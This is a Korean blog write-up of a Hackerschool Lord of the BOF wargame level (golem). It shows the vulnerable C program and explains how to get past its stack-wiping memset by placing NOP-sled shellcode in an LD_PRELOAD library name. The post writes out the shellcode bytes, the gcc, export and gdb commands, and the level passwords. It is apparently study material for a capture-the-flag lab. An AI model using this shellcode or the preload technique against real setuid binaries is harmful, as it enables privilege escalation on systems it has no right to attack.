해킹 공부/시스템 해킹

[해커스쿨 LOB] level11_skeleton

O'bin 2022. 5. 15. 23:58

id : skeleton

pw : shellcoder

 

 

 1.  문제 파일 내용 확인

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[skeleton@localhost skeleton]$ ls // 파일 목록 확인
golem  golem.c
 
[skeleton@localhost skeleton]$ cat golem.c // golem.c 내용 확인
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // stack destroyer!
        memset(buffer, 044);
        memset(buffer+4800xbfffffff - (int)(buffer+48));
}
cs

 

이 문제의 핵심은 코드 아래쪽의 stack destroyer이다.

입력값 조건 : 2글자 이상이고 47번째 값이 bf이어야 한다

입력받은 argv 값을 buffer에 복사하고 buffer를 출력하는 과정 까지는 앞서 푼 문제들과 동일하다.

그런데 가장 마지막에 buffer와 그 밖 메모리를 초기화 하는 함수 memset 때문에 기존 방식대로 해결할 수 없다.

 

 

위 코드의 메모리 구조를 예상하면 아래와 같다. (틀렸을 수 도 있음 )

 

 

프로그램이 실행되면 memset이 위 그림에서 파란 화살표가 표시하는 것 처럼 대부분의 영역을 초기화하기 때문에 buffer에 공격 코드를 넣거나 하는 방식은 무의미해진다.

 

이 문제 풀이는 LD_PRELOAD를 이용해야 한다.

LD_PRELOAD란 리눅스/유닉스 계열에서 사용하는 환경변수로,

프로세스 실행 시 이 환경변수에 지정된 공유 라이브러리가 먼저 로드된다.

만약 다른 라이브러리 함수와 LD_PRELOAD의 라이브러리의 함수의 이름이 중복될 경우 라이브러리 적재 순서 때문에 LD_PRELOAD의 함수가 실행된다.

이 포인트를 이용하여 문제를 푸는 것이다.

 

 

 

 

 

 2.  환경 변수 등록 

1
2
3
4
5
6
7
[skeleton@localhost skeleton]$ cp golem mygolem //메모리 구조 분석 위해 golem파일 mygolem으로 복사
[skeleton@localhost skeleton]$ ls
golem  golem.c  mygolem
 
[skeleton@localhost skeleton]$ touch shellcode.c // shellcode.c라는 빈 파일 생성
[skeleton@localhost skeleton]$ gcc -fPIC -shared shellcode.c -o $(python -'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*50')
 
cs

 

fPIC : Position Independent Code  (PIC) 위치 독립적인 코드로 컴파일 하여 사용하도록 하는 gcc 옵션

shared : 공유 라이브러리 생성하는 gcc 옵션

 

 

1
2
3
4
5
6
7
8
9
10
11
[skeleton@localhost skeleton]$ export LD_PRELOAD=$(python -'print "/home/skeleton/" + "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*50')
// 환경변수 등록
[skeleton@localhost skeleton]$ export // 환경변수 목록 확인
declare -x BASH_ENV="/home/skeleton/.bashrc"
declare -x HISTSIZE="1000"
declare -x HOME="/home/skeleton"
declare -x HOSTNAME="localhost.localdomain"
declare -x HOSTTYPE="i386"
declare -x INPUTRC="/etc/inputrc"
declare -x LANG="en_US"
declare -LD_PRELOAD="/home/skeleton/ ë^1ɱ2€lÿ€éuöëèêÿÿÿ2ÁQi00tii0cjoŠäQTŠâš±
cs

 

쉘코드를 포함한 환경변수를 등록한다. export로 환경변수 목록을 보면 등록된 것을 볼 수 있다.

 

 

 

 

 

 

 3.  gdb로 메모리 주소 확인

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[skeleton@localhost skeleton]$ gdb -q mygolem // mygolem 메모리 분석
(gdb) b main // main 함수에 breakpoint 설정
Breakpoint 1 at 0x8048476
(gdb) r // mygolem프로그램 실행 - breakpoint때문에 프로그램이 종료되지 않음
Starting program: /home/skeleton/mygolem
 
Breakpoint 10x8048476 in main ()
(gdb) x/10000x 0xbffff000 // 0xbffff000부터 스택 값 출력
0xbffff000:     0x000003d7      0x00000340      0x000005fe      0x000006f3
0xbffff010:     0x0000056e      0x000004de      0x00000306      0x000006a5
...
0xbffff590:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5d0:     0x90909090      0xeb909090      0xc9315e11      0x6c8032b1
0xbffff5e0:     0x8001ff0e      0xf67501e9      0xeae805eb      0x32ffffff
0xbffff5f0:     0x306951c1      0x69697430      0x6f6a6330      0x5451e48a
0xbffff600:     0xb19ae28a      0x9081ce0c      0x90909090      0x90909090
0xbffff610:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff620:     0x90909090      0x90909090      0x90909090      0x90909090
cs

 

gdb로 mygolem의 스택 값들을 살펴보면 nop 사이에 쉘코드가 포함되어있는 부분을 발견할 수 있다.

앞에서 등록한 환경변수가 이렇게 메모리에 위치하고 있는 것이다. 

 

 

 

 

 

 4.  페이로드 작성 후 익스플로잇, 비밀번호 획득

 

쉘코드가 시작하기 전 주소 중 여유있게 0xbffff590를 기준으로 잡고 페이로드를 작성했다.

프로그램이 실행되면 nop sled를 타고 쭉 내려오다가 0xbffff590로 이동하면 쉘코드로 인해 쉘이 열리고, 

id 확인과 my-pass로 비밀번호를 획득할 수 있다.

 

 

pw : cpu of coffee

'해킹 공부 > 시스템 해킹' 카테고리의 다른 글

DreamHack_System hacking stage 4  (0) 2022.07.11
DreamHack_System hacking stage1  (0) 2022.07.06
[해커스쿨 LOB] level 6_wolfman  (0) 2022.04.07
해커스쿨 LOB level 5 orc  (0) 2022.04.03
해커스쿨 LOB level 4 goblin  (0) 2022.03.27